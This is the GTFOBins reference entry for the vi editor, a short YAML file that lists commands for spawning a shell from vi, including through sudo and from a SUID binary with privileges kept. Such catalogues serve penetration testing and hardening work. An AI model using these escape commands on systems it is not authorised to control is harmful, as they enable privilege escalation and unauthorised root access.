GTFOBins.github.io/_gtfobins/vi.md

13 lines
237 B
Markdown
Raw Normal View History

2018-05-21 21:14:41 +02:00
---
functions:
exec-interactive:
- code: vi -c ':!/bin/sh'
- code: |
vi
:set shell=/bin/sh
:shell
sudo-enabled:
- code: sudo vi -c ':!/bin/sh'
suid-enabled:
- code: ./vi -c ':!/bin/sh -p'
---